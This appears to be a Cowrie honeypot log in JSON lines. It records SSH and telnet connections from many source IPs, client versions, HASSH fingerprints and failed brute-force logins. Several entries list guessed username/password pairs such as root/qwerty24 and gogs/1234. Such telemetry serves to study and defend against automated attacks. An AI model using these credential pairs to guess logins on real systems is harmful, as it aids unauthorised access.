{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:36.127803Z","src_ip":"217.168.240.63","session":"769cdae4a42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234!@#$","message":"login attempt [root/asd1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:36.674724Z","src_ip":"217.168.240.63","session":"769cdae4a42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:37.806172Z","src_ip":"217.168.240.63","session":"769cdae4a42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":40316,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba0266ab821","protocol":"ssh","message":"New connection: 103.77.175.15:40316 (159.203.135.109:22) [session: 1ba0266ab821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:44.695499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:44.700257Z","src_ip":"103.77.175.15","session":"1ba0266ab821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:44.961181Z","src_ip":"103.77.175.15","session":"1ba0266ab821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15081980","message":"login attempt [root/15081980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:45.739670Z","src_ip":"103.77.175.15","session":"1ba0266ab821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:46.999308Z","src_ip":"103.77.175.15","session":"1ba0266ab821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":58630,"dst_ip":"10.17.0.5","dst_port":22,"session":"da28bbe61c0d","protocol":"ssh","message":"New connection: 103.122.221.179:58630 (10.17.0.5:22) [session: da28bbe61c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:52.398934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:52.403647Z","src_ip":"103.122.221.179","session":"da28bbe61c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:52.659418Z","src_ip":"103.122.221.179","session":"da28bbe61c0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fishman","message":"login attempt [root/fishman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:53.422627Z","src_ip":"103.122.221.179","session":"da28bbe61c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:54.678294Z","src_ip":"103.122.221.179","session":"da28bbe61c0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41674,"dst_ip":"159.203.135.109","dst_port":23,"session":"510dab3b9d70","protocol":"telnet","message":"New connection: 128.199.8.54:41674 (159.203.135.109:23) [session: 510dab3b9d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:52:18.249232Z"}
{"eventid":"cowrie.session.closed","duration":46.301331520080566,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:04.550430Z","src_ip":"128.199.8.54","session":"510dab3b9d70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42258,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1ca93748272","protocol":"telnet","message":"New connection: 107.6.151.170:42258 (159.203.135.109:23) [session: c1ca93748272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:15.561745Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":59810,"dst_ip":"159.203.135.109","dst_port":22,"session":"249ffeae37ce","protocol":"ssh","message":"New connection: 217.168.240.63:59810 (159.203.135.109:22) [session: 249ffeae37ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:20.458382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:20.462751Z","src_ip":"217.168.240.63","session":"249ffeae37ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:20.586380Z","src_ip":"217.168.240.63","session":"249ffeae37ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz0p;/","message":"login attempt [root/1qaz0p;/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:21.118814Z","src_ip":"217.168.240.63","session":"249ffeae37ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:22.245456Z","src_ip":"217.168.240.63","session":"249ffeae37ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":53412,"dst_ip":"159.203.135.109","dst_port":22,"session":"037454c42cbc","protocol":"ssh","message":"New connection: 92.113.145.209:53412 (159.203.135.109:22) [session: 037454c42cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:50.886566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:50.890023Z","src_ip":"92.113.145.209","session":"037454c42cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:51.006490Z","src_ip":"92.113.145.209","session":"037454c42cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nsfocus","message":"login attempt [root/nsfocus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:51.518209Z","src_ip":"92.113.145.209","session":"037454c42cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:52.639765Z","src_ip":"92.113.145.209","session":"037454c42cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":38256,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d66af63dda2","protocol":"ssh","message":"New connection: 101.47.159.125:38256 (159.203.135.109:22) [session: 9d66af63dda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:54.263096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:54.267782Z","src_ip":"101.47.159.125","session":"9d66af63dda2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:54.507124Z","src_ip":"101.47.159.125","session":"9d66af63dda2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gogs","password":"1234","message":"login attempt [gogs/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:55.497611Z","src_ip":"101.47.159.125","session":"9d66af63dda2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:56.740018Z","src_ip":"101.47.159.125","session":"9d66af63dda2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.59","src_port":51370,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f08f5e86d1f","protocol":"ssh","message":"New connection: 160.119.76.59:51370 (10.17.0.5:22) [session: 1f08f5e86d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:53:59.206464Z"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:04.206812Z","src_ip":"160.119.76.59","session":"1f08f5e86d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":56278,"dst_ip":"10.17.0.5","dst_port":22,"session":"32342731a5f6","protocol":"ssh","message":"New connection: 5.89.75.194:56278 (10.17.0.5:22) [session: 32342731a5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:13.874238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:13.879084Z","src_ip":"5.89.75.194","session":"32342731a5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:13.982624Z","src_ip":"5.89.75.194","session":"32342731a5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty24","message":"login attempt [root/qwerty24] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:14.429099Z","src_ip":"5.89.75.194","session":"32342731a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:15.538593Z","src_ip":"5.89.75.194","session":"32342731a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44698,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2dd979429fd","protocol":"telnet","message":"New connection: 94.23.66.112:44698 (10.17.0.5:23) [session: e2dd979429fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:21.164063Z"}
{"eventid":"cowrie.session.closed","duration":0.004788398742675781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:21.168682Z","src_ip":"94.23.66.112","session":"e2dd979429fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.64811491966248,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:24.209733Z","src_ip":"107.6.151.170","session":"c1ca93748272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":42260,"dst_ip":"10.17.0.5","dst_port":22,"session":"36a1ab5b82a8","protocol":"ssh","message":"New connection: 62.133.62.83:42260 (10.17.0.5:22) [session: 36a1ab5b82a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:34.907386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:34.911458Z","src_ip":"62.133.62.83","session":"36a1ab5b82a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:34.989305Z","src_ip":"62.133.62.83","session":"36a1ab5b82a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"emerson","message":"login attempt [root/emerson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:35.229370Z","src_ip":"62.133.62.83","session":"36a1ab5b82a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:36.323007Z","src_ip":"62.133.62.83","session":"36a1ab5b82a8","protocol":"ssh"}
